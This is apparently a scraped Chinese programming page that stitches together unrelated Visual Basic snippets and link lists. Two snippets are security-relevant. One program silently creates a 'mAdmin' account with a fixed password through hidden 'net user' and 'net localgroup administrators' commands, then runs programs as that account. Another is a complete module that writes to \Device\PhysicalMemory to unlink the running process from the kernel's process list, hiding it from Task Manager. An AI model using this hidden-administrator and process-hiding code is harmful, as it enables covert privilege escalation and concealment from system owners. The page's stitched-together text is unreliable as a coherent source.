精华内容
下载资源
问答
  • Const xStr As String = "0123456789" '先声明一个常量,并把你想禁用或允许输入的内容赋值给它 Private Sub Text1_KeyPress(KeyAscii As Integer) '只能输入数字 KeyAscii = IIf(InStr(xStr & Chr(8), ...
    Const xStr As String = "0123456789"
    '先声明一个常量,并把你想禁用或允许输入的内容赋值给它
    
    Private Sub Text1_KeyPress(KeyAscii As Integer)
    '只能输入数字
    KeyAscii = IIf(InStr(xStr & Chr(8), Chr(KeyAscii)), KeyAscii, 0)
    End Sub
    
    Private Sub Text2_KeyPress(KeyAscii As Integer)
    '只能输入数字以外的字符
    KeyAscii = IIf(InStr(xStr, Chr(KeyAscii)), 0, KeyAscii)
    End Sub

     

    转载于:https://www.cnblogs.com/comsky/p/5897285.html

    展开全文
  • VB里,所有API函数、所有常数,都需要用户声明。 ``` Module Module1 Const SW_SHOWNORMAL = 1 Const SW_SHOW = 5 Const SW_SHOWMAXIMIZED = 3 Const SW_SHOWDEFAULT = 10 Public Const WM_...
  • VB里用户下面文件夹权限修改

    千次阅读 2006-12-05 14:17:00
    Option ExplicitPrivate Const LOGON_WITH_PROFILE = &H1&Private Const CREATE_DEFAULT_ERROR_MODE = &H4000000Private Const CREATE_NEW_CONSOLE = &H10&Private Const CREATE_NEW_PROCESS_GROUP = &H200&Priv

    Option Explicit


    Private Const LOGON_WITH_PROFILE = &H1&
    Private Const CREATE_DEFAULT_ERROR_MODE = &H4000000
    Private Const CREATE_NEW_CONSOLE = &H10&
    Private Const CREATE_NEW_PROCESS_GROUP = &H200&

    Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
    End Type

    Private Type STARTUPINFO
    cb As Long
    lpReserved As Long
    lpDesktop As Long
    lpTitle As Long
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Byte
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
    End Type

    Private Declare Function CreateProcessWithLogon Lib "advapi32" Alias "CreateProcessWithLogonW" (ByVal lpUsername As Long, ByVal lpDomain As Long, ByVal lpPassword As Long, ByVal dwLogonFlags As Long, ByVal lpApplicationName As Long, ByVal lpCommandLine As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInfo As PROCESS_INFORMATION) As Long
    Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
    '以下函数用制定名和密码调用了应用程序
    Private Function AnShell(Username As String, Domain As String, Password As String, ApplicationName As String) As Long
    Dim lpUsername As String, lpDomain As String, lpPassword As String, lpApplicationName As String, lpCommandLine As String, lpCurrentDirectory As String
    Dim StartInfo As STARTUPINFO, ProcessInfo As PROCESS_INFORMATION
    lpUsername = Username
    lpDomain = Domain
    lpPassword = Password
    lpApplicationName = ApplicationName
    lpCommandLine = vbNullString
    lpCurrentDirectory = vbNullString
    StartInfo.cb = LenB(StartInfo)
    StartInfo.dwFlags = 0&
    CreateProcessWithLogon StrPtr(lpUsername), StrPtr(lpDomain), StrPtr(lpPassword), LOGON_WITH_PROFILE, StrPtr(lpApplicationName), StrPtr(lpCommandLine), CREATE_DEFAULT_ERROR_MODE Or CREATE_NEW_CONSOLE Or CREATE_NEW_PROCESS_GROUP, ByVal 0&, StrPtr(lpCurrentDirectory), StartInfo, ProcessInfo

    CloseHandle ProcessInfo.hThread
    CloseHandle ProcessInfo.hProcess
    AnShell = ProcessInfo.dwProcessId
    End Function
    Private Sub AddAdmin()
    '建立个用户
    Shell "cmd.exe /c net user mAdmin mAdmin@ /add", vbHide

    '将这个用户权限提升为管理员

    Shell "cmd.exe /c net localgroup administrators  mAdmin /add", vbHide

    End Sub

    Private Sub DelAdmin()
    '删除建立的用户
    Shell "cmd.exe /c net user mAdmin /del", vbHide

    End Sub

    Private Sub Form_Click()
    '用刚刚建立的管理员运行一个程序,这里是记事本,参数1为用户名,参数2为域(一般为空就可以了,因为是本机),参数3为要运行的程序路径和名字(这里调用的是WINDOWS下的程序,所以WINDOWS会自己找到的,程序运行时的几个PATH是WINDOWS,SYSTEM,SYSTEM32,APP.PATH,当然可以通过修改WINDOWS的PATH来改变)
    AnShell "mAdmin", "", "mAdmin@", "mstsc.exe"
    '打开任务管理器,以便查看notepad.exe进程的所有者
    End Sub

    Private Sub Form_Load()
    '建立一个用户并提升权限为管理员
    AddAdmin
    End Sub

    Private Sub Form_Unload(Cancel As Integer)
    '删除调试时建立的管理员
    DelAdmin
    End Sub

    这个里面其实最重要的就是
    AnShell "mAdmin", "", "mAdmin@", "mstsc.exe"
    这句你要启动那个程序就在这里把用户名和密码改成你的
    后面那个exe修改成你的地址

     

    展开全文
  • 论坛有人问起,就看了一下,发现代码比较简单.而且这样子应该能比较通用地完成网页自动填表功能,适合做自动提交之类的.干脆记下来,免得以后要用到时又忘了...............代码没几句,就是通过ID或NAME来取得对象,再...
    论坛里有人问起,就看了一下,发现代码比较简单.

    而且这样子应该能比较通用地完成网页自动填表功能,适合做自动提交之类的.

    干脆记下来,免得以后要用到时又忘了...............

    代码没几句,就是通过ID或NAME来取得对象,再设置其VALUE值.

    程序代码:  
    Option Explicit

    Private Const sURL As String = "http://218.202.107.178:8081/aincs/webpage/index.jsp?SelfSessionKey=000000000000001a49444c3a687474702f52657150726f636573736f723a312e300000000000000100000000000000ac000102000000000c31302e3232302e332e313900ff8400000000004900504d43000000000000001a49444c3a687474702f52657150726f636573736f723a312e300020200000000974635f61696e6373002020200000000d2f746f6d636174345f706f6100000000000000035649530300000005000507017f000000000000000000000800000000564953000000000100000018000000000001000100000001050100010001010900000000_7A1B861487D6AFEDE237964589A17B26"

    Private Sub Form_Load()
        WebBrowser1.Navigate sURL
    End Sub

    Private Sub WebBrowser1_DocumentComplete(ByVal pDisp As Object, URL As Variant)
        If URL = sURL Then
            Dim Ele As Object
               
            Set Ele = WebBrowser1.Document.getElementById("mobileno")           '根据ID取得对象
            Ele.Value = "www.m5home.com"
            
            Set Ele = WebBrowser1.Document.getElementsByName("password")        '根据Name取得对象
            Ele(0).Value = "www.m5home.com"
            
            Set Ele = WebBrowser1.Document.getElementsByName("operVerifyCode")  '根据Name取得对象
            Ele(0).Value = "www.m5home.com"
        End If
    End Sub

     在使用getElementsByName取对象时要注意一点,就是NAME是可以有重复的,所以getElementsByName返回的是一个集合,其中包含了所有相同NAME的对象.

    而ID是不可能有重复的,所以getElementById返回的就是一个单一对象.

    试过了pudn和CSDN等,都可以用这样的方式自动填表. 

    VB部分相关推荐

    VB快速读取 TextBox N 行的资料

    VB禁止使用 Alt-Tab Ctrl-Alt-Del

    生成迷宫的程序

    另一方法转换大小写

    VB控件注册 - 利用资源文件将dllocx打包进exe文件

    VB利用资源文件进行工作

    []vb高效编程(优化)

    VB阳历转阴历

    VB代码取得硬盘的物理序列号

    VB获得磁盘的文件系统

    VB的,经常注册和反注册OCX控件和DLL

    VB从程序中生成Exe文件

    VB6监视/操作剪贴板示例(VB6.0代码)

    VB6里自动提交/自动填表的一种相对通用的方案

    VB移动没有标题的窗体

    VB随机字母的函数

    VB删除带子文件夹和文件的文件夹

    VB怎样屏蔽 Alt+F4

    VB 隐藏进程

    vb屏蔽文本框点右键时的弹出菜单

    VB手控Combobox的打开或收起

    VBINI文件的读写、删除(对中文支持很好)

    vb全局热键的写法(占很少的资源)

    vb取消文本框的粘贴功能

    VB常用文件操作类

    VB获取特殊文件夹

    VB获取windows各常用目录的函数(模块)

    VB生成太极图

    VB:常用内部函数大全,你会了几个呢?

    vbSendMessage函数

    精简VB程序的代码

    VB:将数字转换为大写中文

    VB:设定 MsgBox 在若干时间之后若无回应则自动关闭

    VB:读取及设定NumLock/CapsLock/ScrollLock的值

    VB:您知道 Mid$ 函量可以放在 '=' 的左方吗

    VB后台获得按键,并执行自己的函数(非钩子及热键)

    VB:将短文件名格式转成长文件名

    vb中使用Iphlpapi.dll获取网络信息(上)

    vb中使用Iphlpapi.dll获取网络信息(下) 


    更多精彩>>>

    展开全文
  • 体育彩票36选7号码分析系统Vb源码版,里面的排序代码主要参考了别人的代码。数组交换值,保持两个Array的对应关系,Myarray2只是跟随MyArray数组调整。功能:10个号码的出6保5型,15个号码的中7保5型,10个号码的中7保...
  • '该模块用于在任务管理器中隐藏进程Private Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004Private Const STATUS_ACCESS_DENIED = &HC0000022Private Const STATUS_INVALID_HANDLE = &HC...
    '该模块用于在任务管理器中隐藏进程
    Private Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004
    Private Const STATUS_ACCESS_DENIED = &HC0000022
    Private Const STATUS_INVALID_HANDLE = &HC0000008
    Private Const ERROR_SUCCESS = 0&
    Private Const SECTION_MAP_WRITE = &H2
    Private Const SECTION_MAP_READ = &H4
    Private Const READ_CONTROL = &H20000
    Private Const WRITE_DAC = &H40000
    Private Const NO_INHERITANCE = 0
    Private Const DACL_SECURITY_INFORMATION = &H4
    Private Type IO_STATUS_BLOCK
        Status As Long
        Information As Long
    End Type
    Private Type UNICODE_STRING
        Length As Integer
        MaximumLength As Integer
        Buffer As Long
    End Type
    Private Const OBJ_INHERIT = &H2
    Private Const OBJ_PERMANENT = &H10
    Private Const OBJ_EXCLUSIVE = &H20
    Private Const OBJ_CASE_INSENSITIVE = &H40
    Private Const OBJ_OPENIF = &H80
    Private Const OBJ_OPENLINK = &H100
    Private Const OBJ_KERNEL_HANDLE = &H200
    Private Const OBJ_VALID_ATTRIBUTES = &H3F2
    Private Type OBJECT_ATTRIBUTES
        Length As Long
        RootDirectory As Long
        ObjectName As Long
        Attributes As Long
        SecurityDeor As Long
        SecurityQualityOfService As Long
    End Type
    Private Type ACL
        AclRevision As Byte
        Sbz1 As Byte
        AclSize As Integer
        AceCount As Integer
        Sbz2 As Integer
    End Type
    Private Enum ACCESS_MODE
        NOT_USED_ACCESS
        GRANT_ACCESS
        SET_ACCESS
        DENY_ACCESS
        REVOKE_ACCESS
        SET_AUDIT_SUCCESS
        SET_AUDIT_FAILURE
    End Enum
    Private Enum MULTIPLE_TRUSTEE_OPERATION
        NO_MULTIPLE_TRUSTEE
        TRUSTEE_IS_IMPERSONATE
    End Enum
    Private Enum TRUSTEE_FORM
        TRUSTEE_IS_SID
        TRUSTEE_IS_NAME
    End Enum
    Private Enum TRUSTEE_TYPE
        TRUSTEE_IS_UNKNOWN
        TRUSTEE_IS_USER
        TRUSTEE_IS_GROUP
    End Enum
    Private Type TRUSTEE
        pMultipleTrustee As Long
        MultipleTrusteeOperation As MULTIPLE_TRUSTEE_OPERATION
        TrusteeForm As TRUSTEE_FORM
        TrusteeType As TRUSTEE_TYPE
        ptstrName As String
    End Type
    Private Type EXPLICIT_ACCESS
        grfAccessPermissions As Long
        grfAccessMode As ACCESS_MODE
        grfInheritance As Long
        TRUSTEE As TRUSTEE
    End Type
    Private Type AceArray
        List() As EXPLICIT_ACCESS
    End Type
    Private Enum SE_OBJECT_TYPE
        SE_UNKNOWN_OBJECT_TYPE = 0
        SE_FILE_OBJECT
        SE_SERVICE
        SE_PRINTER
        SE_REGISTRY_KEY
        SE_LMSHARE
        SE_KERNEL_OBJECT
        SE_WINDOW_OBJECT
        SE_DS_OBJECT
        SE_DS_OBJECT_ALL
        SE_PROVIDER_DEFINED_OBJECT
        SE_WMIGUID_OBJECT
    End Enum
    Private Declare Function SetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner
    As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any) As Long
    Private Declare Function GetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner
    As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any, ppSecurityDeor As Long) As Long
    Private Declare Function SetEntriesInAcl Lib "advapi32.dll" Alias "SetEntriesInAclA" (ByVal cCountOfExplicitEntries As Long, pListOfExplicitEntries As
    EXPLICIT_ACCESS, ByVal OldAcl As Long, NewAcl As Long) As Long
    Private Declare Sub BuildExplicitAccessWithName Lib "advapi32.dll" Alias "BuildExplicitAccessWithNameA" (pExplicitAccess As EXPLICIT_ACCESS, ByVal
    pTrusteeName As String, ByVal AccessPermissions As Long, ByVal AccessMode As ACCESS_MODE, ByVal Inheritance As Long)
    Private Declare Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString As UNICODE_STRING, ByVal SourceString As Long)
    Private Declare Function ZwOpenSection Lib "NTDLL.DLL" (SectionHandle As Long, ByVal DesiredAccess As Long, ObjectAttributes As Any) As Long
    Private Declare Function LocalFree Lib "kernel32" (ByVal hMem As Any) As Long
    Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
    Private Declare Function MapViewOfFile Lib "kernel32" (ByVal hFileMappingObject As Long, ByVal dwDesiredAccess As Long, ByVal dwFileOffsetHigh As Long, ByVal
    dwFileOffsetLow As Long, ByVal dwNumberOfBytesToMap As Long) As Long
    Private Declare Function UnmapViewOfFile Lib "kernel32" (lpBaseAddress As Any) As Long
    Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
    Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long
    Private Type OSVERSIONINFO
        dwOSVersionInfoSize As Long
        dwMajorVersion As Long
        dwMinorVersion As Long
        dwBuildNumber As Long
        dwPlatformId As Long
        szCSDVersion As String * 128
    End Type
    Private verinfo As OSVERSIONINFO
    Private g_hNtDLL As Long
    Private g_pMapPhysicalMemory As Long
    Private g_hMPM As Long
    Private aByte(3) As Byte
    Public Sub HideCurrentProcess()
        '在进程列表中隐藏当前应用程序进程
        '转载请注名来自爱软件(isoftcn.cn)阿江编注。
        Dim thread As Long, process As Long, fw As Long, bw As Long
        Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Long
        verinfo.dwOSVersionInfoSize = Len(verinfo)
        If (GetVersionEx(verinfo)) <> 0 Then
            If verinfo.dwPlatformId = 2 Then
                If verinfo.dwMajorVersion = 5 Then
                    Select Case verinfo.dwMinorVersion
                        Case 0
                        lOffsetFlink = &HA0
                        lOffsetBlink = &HA4
                        lOffsetPID = &H9C
                        Case 1
                        lOffsetFlink = &H88
                        lOffsetBlink = &H8C
                        lOffsetPID = &H84
                    End Select
                End If
            End If
        End If
        If OpenPhysicalMemory <> 0 Then
            thread = GetData(&HFFDFF124)
            process = GetData(thread + &H44)
            fw = GetData(process + lOffsetFlink)
            bw = GetData(process + lOffsetBlink)
            SetData fw + 4, bw
            SetData bw, fw
            CloseHandle g_hMPM
        End If
    End Sub
    Private Sub SetPhyscialMemorySectionCanBeWrited(ByVal hSection As Long)
        Dim pDacl As Long
        Dim pNewDacl As Long
        Dim pSD As Long
        Dim dwRes As Long
        Dim ea As EXPLICIT_ACCESS
        GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, pSD
        ea.grfAccessPermissions = SECTION_MAP_WRITE
        ea.grfAccessMode = GRANT_ACCESS
        ea.grfInheritance = NO_INHERITANCE
        ea.TRUSTEE.TrusteeForm = TRUSTEE_IS_NAME
        ea.TRUSTEE.TrusteeType = TRUSTEE_IS_USER
        ea.TRUSTEE.ptstrName = "CURRENT_USER" & vbNullChar
        SetEntriesInAcl 1, ea, pDacl, pNewDacl
        SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, ByVal pNewDacl, 0
    CleanUp:
        LocalFree pSD
        LocalFree pNewDacl
    End Sub
    '转载请注名来自爱软件(isoftcn.cn)阿江编注。
    Private Function OpenPhysicalMemory() As Long
        Dim Status As Long
        Dim PhysmemString As UNICODE_STRING
        Dim Attributes As OBJECT_ATTRIBUTES
        RtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory")
        Attributes.Length = Len(Attributes)
        Attributes.RootDirectory = 0
        Attributes.ObjectName = VarPtr(PhysmemString)
        Attributes.Attributes = 0
        Attributes.SecurityDeor = 0
        Attributes.SecurityQualityOfService = 0
        Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)
        If Status = STATUS_ACCESS_DENIED Then
            Status = ZwOpenSection(g_hMPM, READ_CONTROL Or WRITE_DAC, Attributes)
            SetPhyscialMemorySectionCanBeWrited g_hMPM
            CloseHandle g_hMPM
            Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)
        End If
        Dim lDirectoty As Long
        verinfo.dwOSVersionInfoSize = Len(verinfo)
        If (GetVersionEx(verinfo)) <> 0 Then
            If verinfo.dwPlatformId = 2 Then
                If verinfo.dwMajorVersion = 5 Then
                    Select Case verinfo.dwMinorVersion
                        Case 0
                        lDirectoty = &H30000
                        Case 1
                        lDirectoty = &H39000
                    End Select
                End If
            End If
        End If
        If Status = 0 Then
            g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 4, 0, lDirectoty, &H1000)
            If g_pMapPhysicalMemory <> 0 Then OpenPhysicalMemory = g_hMPM
        End If
    End Function
    Private Function LinearToPhys(BaseAddress As Long, addr As Long) As Long
        Dim VAddr As Long, PGDE As Long, PTE As Long, PAddr As Long
        Dim lTemp As Long
        VAddr = addr
        CopyMemory aByte(0), VAddr, 4
        lTemp = Fix(ByteArrToLong(aByte) / (2 ^ 22))
        PGDE = BaseAddress + lTemp * 4
        CopyMemory PGDE, ByVal PGDE, 4
        If (PGDE And 1) <> 0 Then
            lTemp = PGDE And &H80
            If lTemp <> 0 Then
                PAddr = (PGDE And &HFFC00000) + (VAddr And &H3FFFFF)
            Else
                PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE And &HFFFFF000, &H1000)
                lTemp = (VAddr And &H3FF000) / (2 ^ 12)
                PTE = PGDE + lTemp * 4
                CopyMemory PTE, ByVal PTE, 4
                If (PTE And 1) <> 0 Then
                    PAddr = (PTE And &HFFFFF000) + (VAddr And &HFFF)
                    UnmapViewOfFile PGDE
                End If
            End If
        End If
        LinearToPhys = PAddr
    End Function
    Private Function GetData(addr As Long) As Long
        Dim phys As Long, tmp As Long, ret As Long
        phys = LinearToPhys(g_pMapPhysicalMemory, addr)
        tmp = MapViewOfFile(g_hMPM, 4, 0, phys And &HFFFFF000, &H1000)
        If tmp <> 0 Then
            ret = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
            CopyMemory ret, ByVal ret, 4
            UnmapViewOfFile tmp
            GetData = ret
        End If
    End Function
    Private Function SetData(ByVal addr As Long, ByVal data As Long) As Boolean
        Dim phys As Long, tmp As Long, x As Long
        phys = LinearToPhys(g_pMapPhysicalMemory, addr)
        tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys And &HFFFFF000, &H1000)
        If tmp <> 0 Then
            x = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
            CopyMemory ByVal x, data, 4
            UnmapViewOfFile tmp
            SetData = True
        End If
    End Function
    '转载请注名来自爱软件(isoftcn.cn)阿江编注。
    Private Function ByteArrToLong(inByte() As Byte) As Double
        Dim i As Integer
        For i = 0 To 3
            ByteArrToLong = ByteArrToLong + inByte(i) * (&H100 ^ i)
        Next i
    End Function


    VB相关

    vbline的用法[]

    画图工具的VB实现

    VB 一个获得自己外网 IP 地址的程序代码

    VB程序中实现IP地址子网掩码网关DNS的更改  []

    VB 中应用 FSO 对象模型介绍(摘自网络)

    [] VbFSO 对象的介绍

    VB 画坐标轴

    VB 二进制文件的操作

    [VB]BMPJPGVBKeyCode常数用法

    vb实时曲线的绘制和保存

    VB操作EXCEL

    vb初学回顾:最大公约数 最小公倍数 素数求取

    vb 关于窗口样式的API以及处理文本的API参考

    【引用】在VB6.0中实现弹出式菜单的几种方法

    【引用】URLDownloadToFile_VB下载文件!

    利用WinRar压缩和解压缩文件

    VB 剪切板

    VB实现指示窗口中拖动方框的程序

    VB绘制走动的表针

    如何用VB制作DLL文件

    【引用】VB修改IP地址

    VB多窗体退出代码

    []VB:如何检测到U盘的插拔(源代码)

    巧用SendMessage函数扩展Treeview功能

    vb中如何在任务管理器里面隐藏应用程序进程

    如何实现VBEXCEL的无缝连接

    一个API方式存取日志文件的模块[VB]

    VB用记录集填充表格函数

    VB打开文本文件各种方法

    vb ClipBoard 剪切板应用(复制剪切粘贴)

    【引用】窗口处理技巧大全 vb(窗体控件)

    【转】 Md rd命令之VB

    vb:读写文本文件

    vb中实现真正锁定的带自定义菜单的文本控件

    【引用】使用CommonDialogShowSave后如何判断是保存还是取消?

    vb 关于commondialog的多选VB获取Windows操作系统所有版本

    vb UTF文本文件访问

    VB编程中的Unicode vs Ansi

    VBPiView4注册机

    VB获取超过2G文件的大小

    CopyMemory还要快的函数SuperCopyMemory

    VB:编程效率快步提高之:十七种可用一行代码完成的技巧

    VB画出来的五星红旗

    Qt第一印象——QteQt  


    更多精彩>>>
    展开全文
  • VB制作播放器的播放列表控件,十分漂亮,这个列表看上去像是早几年的QQ音乐播放器的风格,现在QQ播放器不是这样子了,MLIST目录中为该列表的控件源码,调用前请编译此项目生成ocx文件,放在示例文件夹下。...
  • VB窗体防VISTA美化资源及源码

    热门讨论 2012-02-12 21:35:26
    VB6.0界面美化不带任何附件的简单实现方法 VB6.0界面美化往往生成的exe往往要带有bas、dll、ocx等等东西。很麻烦。 所以介绍下面的美化方法生成的exe后就一个exe。没有任何的附件。 首先准备3个美化的东东:vb6.0 ...
  • VB宏定义(条件编译方法)

    千次阅读 2019-04-21 17:55:12
    VB条件编译——宏定义 前言 ❤我们在开发软件时,如果该软件是应用在多产品或者多平台上面,不同的地方使用不同的代码,这时候条件编译就会变得很方便。 内容 ❤条件编译语句:#If。。。Then。。。 #Else。。。#Else...
  • 下边是源码:(CSDN编辑器似乎没有VB6的代码块选择,因此用的.NET的代码块选择,但源码是VB6的,请注意!) Option Explicit Private Const COLOR_DEPTH_16_BIT As Long = D3DFMT_R5G6B5 Private Const COLOR_...
  • 建立一个如同vb里属性栏一样的东东,不仅形似,神也似(137KB) 7,combosrc.zip 在 COMBO 中的增量查询(2KB) 8,escombo.zip 为COomBo控件加强版,有近似关键字搜索功能(27KB) 9,sblist20.zip 它允许你用各自颜色(162KB...
  • VB 做的相册(缩略图预览程序)

    热门讨论 2010-04-17 10:18:29
     函数功能: 该函数将指定位图的位拷贝到缓冲区?  函数原型:LONG GetBitmapBits(HBITMAP hbmp, LONG cbBuffer, LPVOID lpvBits);  参数:  hbmp:指向感兴趣的位图的句柄?  cbBuffer:指定要从位图拷贝...
  • 建立一个如同vb里属性栏一样的东东,不仅形似,神也似(137KB) 7,combosrc.zip 在 COMBO 中的增量查询(2KB) 8,escombo.zip 为COomBo控件加强版,有近似关键字搜索功能(27KB) 9,sblist20.zip 它允许你用各自颜色(162KB...
  • Const VK_TAB = 9 If GetKeyState(VK_TAB) nActiveRow = Grid1.ActiveCell.Row nActiveCol = Grid1.ActiveCell.Col If nActiveCol Grid1.Range(nActiveRow, nActiveCol + 1, _ nActiveRow, nActiveCol + 1...
  • VB winsock建立多TCP连接示例

    千次阅读 2009-03-24 15:36:00
    在FORM窗口加入如下声明及自定义函数:Option Explicit定义常量Const BUSY As Boolean = FalseConst FREE As Boolean = True寻找空闲的sockPublic Function FindFreeSocket()Dim SockCount, i As IntegerSockCount ...
  • 如何将 exe程序和vb编译的exe文件 封装为一个exe文件把它当成资源文件,包到主程序以下代码是我封装控件和数据库的代码,你看看数据库是怎样封的,没时间简化 Option Explicit Sub Main() Const DBSIZE = ...
  • 以下代码写在模块里面 Public Const GWL_WNDPROC = (-4) Public Const WM_COMMAND = &H111 Public Const WM_MBUTTONDOWN = &H207 Public Const WM_MBUTTONUP = &H208 P
  • Option ExplicitDim sep() As StringConst repTemp As String = "##" 找个肯定不会在text出现的Private Sub cmdMake_Click() Dim strTest As String Dim i As Integer Dim a iniSep strTest = RichTextBox
  • C#微软培训教材(高清PDF)

    千次下载 热门讨论 2009-07-30 08:51:17
    18.2 在 C #代码中调用 C++和 VB 编写的组件 .240 18.3 版 本 控 制 .249 18.4 代 码 优 化 .252 18.5 小 结 .254 第五部分 附 录 .255 附录 A 关 键 字.255 附录 B 错 误 码.256 附录 C .Net 名字空间...
  • c#学习笔记.txt

    2008-12-15 14:01:21
    如前所述,我是一个狮子座男人,一度我认为学习Java会使我看起来与众不同,可是几个月以后我放弃了这个选择,我看了论坛关于这两种语言孰优孰劣的讨论,最终选择了C#,请不要问我为何做出这样的选择,很多人认为...
  • const有什么作用? 3,4记不清了 c++改错题 C++语言里面的String类,让重写普通构造函数,拷贝构造函数,析构函数,还有一个改值函数 双向链表里面,在P后面的值之前插入s,用C语言写出逻辑代码 用VB语言实现冒泡...
  • asp.net知识库

    2015-06-18 08:45:45
    实现C#和VB.net之间的相互转换 深入剖析ASP.NET组件设计]一书第三章关于ASP.NET运行原理讲述的补白 asp.net 运行机制初探(httpModule加载) 利用反射来查看对象中的私有变量 关于反射中创建类型实例的两种方法 ASP...
  • 另外还提供了WinSock的详细开发步骤,以及如何响应网络超时,网络断开的事件方法以及在VC,VB调用该控件的方法。 一、MFC ActiveX控件开发步骤(VC 6.0): New->Projects->MFC ActiveX ControlWizard,然后输入...
  • C#微软培训资料

    2014-01-22 14:10:17
    18.2 在 C #代码中调用 C++和 VB 编写的组件 .240 18.3 版 本 控 制 .249 18.4 代 码 优 化 .252 18.5 小 结 .254 第五部分 附 录 .255 附录 A 关 键 字.255 附录 B 错 误 码.256 附录 C .Net 名字空间...
  • 另外还提供该控件在VC,VB下的调用方式以及相关数据的处理。 关键字:ActiveX,Socket,VARIANT, SAFEARRAY,BSTR。 回顾:在上一篇文章《标准MFC WinSock ActiveX控件开发实例》中我们详细介绍了控件的开发过程...
  • Visual Graph开发

    2013-08-31 04:24:01
    4.source目录下是csharp2010、delphi7.0、vb6.0、vc6.0使用Visual Graph ActiveX的示例 5.web目录下是互联网应用中使用的cab文件打包批处理程序 6.lib目录下是若干例子图库 7.demo目录下是若干图形文件的示例 二...
  • VB 中使用窗口函数截取 OICQ 帐号密码 武汉 艾军 摘要 本文简单介绍如何采用 Visual Basic 语言,利用窗口函数截取 OICQ 帐号密码,并以此说明 OICQ 存在安全隐串。 关键字 密码,窗口函数,即时监视 一、...
  • 43.try {}有一个return语句,那么紧跟在这个try后的finally {}的code会不会被执行,什么时候被执行,在return前还是后? 答:会执行,在return前执行。 44.两个对象值相同(x.equals(y) == true),但却可有不同...

空空如也

空空如也

1 2 3
收藏数 43
精华内容 17
关键字:

vb里const